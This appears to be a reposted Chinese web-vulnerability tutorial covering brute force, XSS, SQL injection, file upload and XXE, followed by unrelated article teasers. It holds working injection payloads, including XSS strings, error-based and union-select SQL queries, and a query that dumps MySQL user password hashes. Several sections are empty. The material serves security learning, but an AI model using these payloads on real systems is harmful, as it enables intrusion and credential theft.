基础漏洞

news/2024/9/19 12:30:00/文章来源:https://www.cnblogs.com/yjiejie/p/18405801

目录

目录
  • 目录
  • 一、暴力破解
    • 漏洞描述
      • 无防护措施
      • 锁定机制
      • 验证码绕过
  • 二、xss漏洞(跨站脚本攻击)
    • 分类
      • 反射型(非持续型)
        • 攻击步骤
      • 存储型(持续型)
        • 攻击步骤
      • DOM型
    • 危害
  • 三、CSRF漏洞(跨站请求伪造)
  • 四、SQL注入
    • 漏洞描述
    • 注入分类
        • SQL注入分类及判断
          • 判断是否存在 Sql 注入漏洞
          • 判断 Sql 注入漏洞的类型
            • 数字型判断:
            • 字符型判断:
    • 注入测试
        • 常见的注入点
        • Fuzz注入点
        • 测试用常量
        • 测试列数
        • 报错注入
        • 堆叠注入
        • 注释符
        • 判断过滤条件
        • 获取信息
        • 测试权限
  • 五、任意命令执行
  • 六、文件上传
    • 漏洞描述
    • 风险等级
  • 七、PHP反序列化原理
  • 八、XXE漏洞
    • 漏洞描述
    • 风险分析
    • 风险等级

一、暴力破解

验证码绕过

漏洞描述

暴力破解的基本思想是根据题目的部分条件确 定答案的大致范围,并在此范围内对所有可能的情况逐一验证,直到全部情况验证完毕。若某个情况验证符合题目的全部条件,则为本问题的一个解;若全部情况验证后都不符合题目的全部条件,则本题无解。常常存在于网站的登录系统中,通过对已知的管理员用户名,进行对其登录口令的大量尝试。

无防护措施

对于没有对登录、注册、重置密码之类的功能进行一定的防护,没有验证码的,没有对输错密码次数进行限制,而且还是明文传输的系统,直接暴力破解。

锁定机制

部分系统会有一些防护措施,比如超过一定的错误次数会将账号进行锁定,或者是某IP频繁的进行登录操作会将IP封了。这种情况下我们就可以进行撞库攻击。撞库攻击一般是是指黑客通过收集互联网已泄露的用户和密码信息,生成对应的字典表,尝试批量登陆其他网站后,得到一系列可以登录的用户。我们一般会使用一些常见的弱密码去遍历用户名,可以得到一些用弱口令的用户。

验证码绕过

常见的两种验证机制是图片验证码和短信验证码。设置验证码就是为了防止自动化攻击,但是如果没有设计好的话就形同虚设。

图片验证码绕过:

常见的几种图片验证码被绕过的场景:图片验证码输入一次正确可重复使用;图片验证码前端校验;图片验证码可被识别;验证码信息返回客户端等等。

短信验证码绕过:

有时候登录的时候用使用的是短信验证码,这个时候同样要注意设计好逻辑,不然很容易被爆破或者绕过。

二、xss漏洞(跨站脚本攻击)

跨站脚本攻击的英文全称是 Cross Site Script,为了和样式表区分,缩写为 XSS。发生的原因是网站将用户输入的内容输出到页 面上,在这个过程中可能有恶意代码被浏览器执行。跨站脚本攻击 ,它指的是恶意攻击者往 Web页面里插入恶意 html代码,当用户浏览该页之时,嵌入其中Web里面的 html代码会被执行,从而达到恶意用户的特殊目的。已知的跨站脚本攻击漏洞有 四 种:
1)存储式 ;2)反射式 ;3)基于 DOM;4 )Flash型 XSS。

分类

反射型(非持续型)

也称作非持久型、参数型跨站脚本,主要用于将恶意脚本附加到URL地址参数中。漏洞特征:一次性的、前端执行、不会存储到后端数据库中。危害等级:中。

反射型跨站脚本攻击涉及的功能点:URL参数需要在页面显示 的功能点都可能存在反射型跨站脚本攻击,例如站内搜索、查询功能点。

反射型XSS通常出现在搜索等功能中,需要被攻击者点击对应的链接才能触发,且受到XSS Auditor、NoScript等防御手段的影响较大。

攻击步骤

  • 攻击者构造出包含恶意代码的URL。
  • 用户访问时,恶意代码会被拼接在HTML中返回给浏览器。
  • 用户浏览器接收到响应后解析执行,混在其中的恶意代码也被执行。
  • 窃取用户数据并发送到攻击者的网站,或冒充用户的行为执行攻击者指定的操作。

例:当一个网站的代码中包含类似下面的语句:<?php echo "<p>hello, $_GET['user']</p>";?> ,那么在访问时设置 /?user=</p><script>alert("hack")</script><p> ,则可执行预设好的JavaScript代码。

存储型(持续型)

攻击者事先将恶意JS代码上传或存储到漏洞服务器,当用户浏览含恶意JS代码的页面就会执行恶意代码,不需要用户单击特定URL就能执行跨站脚本。漏洞特征:持久性、前端执行、储存在后端数据库。危害等级:高。

存储型跨站脚本攻击涉及的功能点:用户输入的文本信息保存到数据库中,并能够在页面展示的功能点,例如用户留言、发送站内消息、个人信息修改等功能点。

攻击步骤

  • 攻击者将恶意代码提交到目标网站的数据库中。
  • 用户打开目标网站时,网站服务端将恶意代码从数据库取出,拼接在HTML中返回给浏览器。
  • 用户浏览器接收到响应后解析执行,混在其中的恶意代码也被执行
  • 窃取用户数据并发送到攻击者的网站,或冒充用户的行为执行攻击者指定的操作。

DOM型

DOM-based XSS发生在应用程序通过JavaScript操作页面DOM时,未对用户输入进行适当的过滤或转义,导致攻击者可以注入恶意脚本,进而影响其他用户。漏洞特征:一次性、前端执行、不会储存在后端数据库、程序执行不依赖服务器端的数据。危害等级:中。

基于 DOM跨站脚本攻击涉及的功能点:涉及 DOM对象的页面程序,包括(不限这些):

document.URL 
document.URLUnencoded 
document.location 
document.referrer 
window.location

DOM型XSS不同之处在于DOM型XSS一般和服务器的解析响应没有直接关系,而是在JavaScript脚本动态执行的过程中产生的。

例如:

<html>
<head>
<title>DOM Based XSS Demo</title>
<script>
function xsstest()
{var str = document.getElementById("input").value;document.getElementById("output").innerHTML = "<img src='"+str+"'></img>";
}
</script>
</head>
<body>
<div id="output"></div>
<input type="text" id="input" size=50 value="" />
<input type="button" value="submit" onclick="xsstest()" />
</body>
</html>

输入 x' onerror='javascript:alert(/xss/) 即可触发。

危害

存在XSS漏洞时,可能会导致以下几种情况:

  1. 用户的Cookie被获取,其中可能存在Session ID等敏感信息。若服务器端没有做相应防护,攻击者可用对应Cookie登陆服务器。
  2. 攻击者能够在一定限度内记录用户的键盘输入。
  3. 攻击者通过CSRF等方式以用户身份执行危险操作。
  4. XSS蠕虫。
  5. 获取用户浏览器信息。
  6. 利用XSS漏洞扫描用户内网。

三、CSRF漏洞(跨站请求伪造)

完成对目标登录信息修改,盗取账号

四、SQL注入

漏洞描述

所谓 SQL注入,就是通过把 SQL命令插入到 Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的 SQL命令。具体来说,它是利用现有应用程序,将(恶意 )SQL命令注入到后台数据库引擎执行的能力,它可以通过在 Web表单中输入(恶意) SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行 SQL语句。 造成 SQL注入漏洞原因有两个:一个是没有对输入的数据进行过滤(过滤输入),还有一个是没有对发送到数据库的数据进行转义(转义输出)。

风险等级:高危

注入分类

  • 布尔盲注:只能从应用返回中推断语句执行后的布尔值
  • 时间盲注:应用没有明确的回显,只能使用特定的时间函数来判断
  • 报错注入:应用会显示全部或者部分的报错信息
  • 堆叠注入:有的应用可以加入 ; 后一次执行多条语句

SQL注入分类及判断

事实上SQL注入有很多种,按数据类型可以分为数字型字符型搜索型,按提交方式可分为GET型,POST型,Cookie型和HTTP请求头注入,

按执行效果有可以分为报错注入联合查询注入盲注堆查询注入,其中盲注又可分为基于bool的和基于时间的注入。从查询语句及可看出来这里

是字符型的注入同时也是GET型注入表单注入

判断是否存在 Sql 注入漏洞

最为经典的单引号判断法: 在参数后面加上单引号,比如:

http://xxx/abc.php?id=1'

如果页面返回错误,则存在 Sql 注入。 原因是无论字符型还是整型都会因为单引号个数不匹配而报错。 如果未报错,不代表不存在 Sql 注入,因为有可能页面对单引号做了过滤,这时可以使用判断语句进行注入

判断 Sql 注入漏洞的类型

这里以数字型和字符型判断为例:

数字型判断:

当输入的参 x 为整型时,通常 abc.php 中 Sql 语句类型大致如下:select * from <表名> where id = x 这种类型可以使用经典的 and 1=1and 1=2 来判断:

  • Url 地址中输入 http://xxx/abc.php?id= x and 1=1 页面依旧运行正常,继续进行下一步。
  • Url 地址中继续输入 http://xxx/abc.php?id= x and 1=2 页面运行错误,则说明此 Sql 注入为数字型注入。 原因如下: 当输入 and 1=1时,后台执行 Sql 语句:
select * from <表名> where id = x and 1=1

没有语法错误且逻辑判断为正确,所以返回正常。

当输入 and 1=2时,后台执行 Sql 语句:

select * from <表名> where id = x and 1=2

没有语法错误但是逻辑判断为假,所以返回错误。 我们再使用假设法:如果这是字符型注入的话,我们输入以上语句之后应该出现如下情况:

select * from <表名> where id = 'x and 1=1' 
select * from <表名> where id = 'x and 1=2'

查询语句将 and 语句全部转换为了字符串,并没有进行 and 的逻辑判断,所以不会出现以上结果,故假设是不成立的。

字符型判断:

当输入的参 x 为字符型时,通常 abc.php 中 SQL 语句类型大致如下:select * from <表名> where id = 'x' 这种类型我们同样可以使用 and '1'='1and '1'='2来判断:

  • Url 地址中输入 http://xxx/abc.php?id= x' and '1'='1 页面运行正常,继续进行下一步。
  • Url 地址中继续输入 http://xxx/abc.php?id= x' and '1'='2 页面运行错误,则说明此 Sql 注入为字符型注入。 原因如下: 当输入 and '1'='1时,后台执行 Sql 语句:
select * from <表名> where id = 'x' and '1'='1'

语法正确,逻辑判断正确,所以返回正确。

当输入 and '1'='2时,后台执行 Sql 语句:

select * from <表名> where id = 'x' and '1'='2'

语法正确,但逻辑判断错误,所以返回正确。

注入测试

常见的注入点

GET/POST/PUT/DELETE参数
X-Forwarded-For
文件名

Fuzz注入点

' / "
1/1
1/0
and 1=1
" and "1"="1
and 1=2
or 1=1
or 1=
' and '1'='1
+ - ^ * % /
<< >> || | & &&
~
!
@

测试用常量

@@version
@@servername
@@language
@@spid

测试列数

例如 http://www.foo.com/index.asp?id=12+union+select+null,null-- ,不断增加 null 至不返回

报错注入

select 1/0
select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from  information_schema.tables group by x)a
extractvalue(1, concat(0x5c,(select user())))
updatexml(0x3a,concat(1,(select user())),1)
exp(~(SELECT * from(select user())a))
ST_LatFromGeoHash((select * from(select * from(select user())a)b))
GTID_SUBSET(version(), 1)

堆叠注入

;select 1

注释符

#
--+
/*xxx*/
/*!xxx*/
/*!50000xxx*/

判断过滤条件

是否有trunc
是否过滤某个字符
是否过滤关键字
slash和编码

获取信息

判断数据库类型and exists (select * from msysobjects ) > 0 access数据库and exists (select * from sysobjects ) > 0 SQLServer数据库
判断数据库表and exsits (select * from admin)
版本、主机名、用户名、库名
表和字段确定字段数Order BySelect Into表名、列名

我们知道每个MySQL数据库中都有数据库information,和mysql,而所有的数据库信息全部存储在information中,MySQL的用户名和密码存储在mysql中的user表中,所以我们可以使用information来查询到所有的数据,查询当前数据库所有数据:表:

'union select 1,table_name from information_schema.tables where table_schema=database()#;

查询当前数据库下数据表abc的所有字段:

'union select 1,column_name from information_schema.columns where table_name='abc'#;

查询当前数据库下数据表abc的字段user的数据:

'union select 1,user from abc#;

查询MySQL的root用户和密码hash值:

'union select user,authentication_string from mysql.user#

测试权限

文件操作读敏感文件写shell
带外通道网络请求

练习参考 :https://bbs.zkaq.cn/?t/2642.html

五、任意命令执行

六、文件上传

漏洞描述

一般情况下文件上传漏洞是指用户上传了一个可执行的脚本文件,并通过此脚本文件获得了执行服务器端命令的能力。文件上传本身是 web中最为常见的一种功能需求,关键是文件上传之后服务器端的处理、解释文件的过程是否安全。一般的情况有:

  1. 上传文件 WEB脚本语言,服务器的 WEB容器解释并执行了用户上传的脚本,导致代码执行;
  2. 上传文件上传文件FLASH策略文件策略文件crossdomain.xml,以此来控制,以此来控制Flash在该域下的行为;在该域下的行为;
  3. 上传文件是病毒、木马文件,攻击者用以诱骗用户或管理员下载执行;上传文件是病毒、木马文件,攻击者用以诱骗用户或管理员下载执行;
  4. 上传文件是钓鱼图片或包含了脚本的图片,某些浏览器会作为脚本执行,可用于实施钓鱼或上传文件是钓鱼图片或包含了脚本的图片,某些浏览器会作为脚本执行,可用于实施钓鱼或欺诈;欺诈;

风险等级

高危

七、PHP反序列化原理

八、XXE漏洞

漏洞描述

XXE(XML External Entity Injection) XML外部实体注入,利用 <!Entityname SYSTEM “URI”>。 XML文件的解析依赖 libxml库,而 libxml2.9以前的版本默认支持并开启了外部实体的引用,服务端解析用户提交的 XML文件时,未对 XML文件引用的外部实体(含外部普通实体和外部参数实体)做合适的处理,并且实体的 URL支持 file://和 ftp://等协议。

风险分析

攻击者可以在 XML文件中声明 URI指向服务器本地的实体造成攻击。实体攻击可导致信息泄露、 任意文件读取、 DOS攻击和代码执行等问题。

风险等级

【高危】实体注入可读取服务器文件或执行命令

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/794815.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

LLog:Spring轻量级请求日志监控组件,集成管理面板,支持多条件查询检索

开源地址 https://gitee.com/lboot/LLog 简介 LLog是基于AOP构建的请求日志记录和查询工具库,通过引入该工具库,完成配置,实现对接口请求日志的记录、查询检索等功能。请求状态、时间、来源、耗时,请求参数,响应结果,作用接口记录支持与鉴权服务结合,记录请求来源为用户…

如何实现深拷贝?structuredClone

经典的面试题:如何实现深拷贝。 常规的回答主要是通过JSON或者遍历对象递归。主要是考核对对象操作方经典的面试题:如何实现深拷贝。 常规的回答主要是通过JSON或者遍历对象递归。主要是考核对对象操作方法的熟悉程度。今天来介绍另一个方案structuredClone()。什么是 struct…

信奥一本通题陈老师解题:1209:分数求和

​ 【题目描述】【输入】第一行是一个整数nn,表示分数个数,1≤n≤101≤n≤10; 接下来nn行,每行一个分数,用"p/qp/q"的形式表示,不含空格,p,qp,q均不超过1010。【输出】输出只有一行,即最终结果的最简形式。若为分数,用"p/qp/q"的形式表示。【输…

【OpenFeign 】OpenFeign 下的重试器的执行过程分析

1 前言 上节我们看了下 OpenFeign 里的重试,在从源码的角度看它的执行原理的时候,又意外的遇到了一个【OpenFeign 】OpenFeign 下未开启重试,服务却被调用了两次 的问题的分析,那本节我们就来看看重试器的一个入场以及执行的过程。 2 源码分析 首先我们要知道在默认的情况…

WiFi基础(三):802.11ac/ax/be 与 WiFi4、WiFi5、WiFi6、WiFi7

前面我们介绍了 802.11 b/g/n 的一些核心技术和基础概念,本章将介绍目前比较新的 WiFi5 和 WiFi6,以及在今年会发布的 WiFi7。liwen01 2024.09.08 前言 经过二十多年的发展,WiFi 在硬件能力、软件和算法、频谱资源、市场需求、电源与能效方面都有了很大的提升。所以我们能看…

一个类才几百行/搞定各种自定义委托/涵盖各种场景需求/所有委托一网打尽/用法极其简单

一、应用场景某个字段需要提供下拉框进行选择,下拉框可选是否允许编辑。 某个字段需要提供密码框进行输入,密文显示字段值。 某个字段需要提供日期框下拉选择日期时间。 某个字段需要提供微调框设定值。 某个字段需要提供进度条显示字段值。 某个字段列需要禁用。 各种委托控…

军工厂电气工程师到知名互联网公司程序员,我吃饭的家伙有哪些

大家好,我是欧阳。今年刚好是欧阳三十而立之年,虽然没有立起来。这篇文章来聊聊我从一名军工厂电气工程师到某知名互联网公司程序员,这期间我吃饭的家伙都有哪些。 军工厂期间 欧阳大学读的是“电气工程及其自动化专业”,毕业后进入了老家的一个军工厂,成为了一名电气工程…

用 SQL 写的俄罗斯方块游戏「GitHub 热点速览」

在开始介绍上周热门开源项目之前,要插播一条开源新闻:Nginx 已正式迁移至 GitHub。 近日,Nginx 官方宣布将 Nginx 开源项目,从 Mercurial 迁移至 GitHub 代码托管平台,并开始接受 PR 形式的贡献、Issues 问题反馈和功能请求等,GitHub 上的 Nginx 项目终于“活”了!GitHu…

喜欢干净简洁音乐播放器的朋友看过来

大家好,我是晓凡。 不少程序员小伙伴都喜欢边听音乐边敲代码,尤其在一个嘈杂的环境中,一个好的想法、好的思路可能就因为一瞬间的干扰就没了。 这时,如果耳机一戴上,听着音乐能更好的集中注意力;遇到bug也能临危不乱,想出更好的解决办法; 网易云音乐,算是一个相对简洁…

在vue3中手写按需加载图片

在我们的网页中.假如使用了大量的图片,每个图片都是需要去访问加载的 这就影响了我们的访问速度,手写一个按需加载组件,就可以解决这个问题 让图片处于页面视图的时候再加载,减轻网页访问负担利用vue3官网给出的钩子 我们常用的就是onMountent 如官网所示为了及时监测,这里使用…

单个48TB大小SQL Server数据库备份导致日志文件无法截断

单个48TB大小SQL Server数据库备份导致日志文件无法截断SQL Server 版本:SQL Server 2019背景在一个48T大小的单数据库环境中,采用简单恢复模式,日志文件大小限制为600G。执行一次完整备份时,耗时超过12小时,导致日志文件无法截断并达到上限,后续事务无法正常写入,导致整…

第一章 联言命题选言命题及其推理-德摩根定律及其练习题

听他讲一遍怎么做 自己怎么做 ==》对比 真值表做题!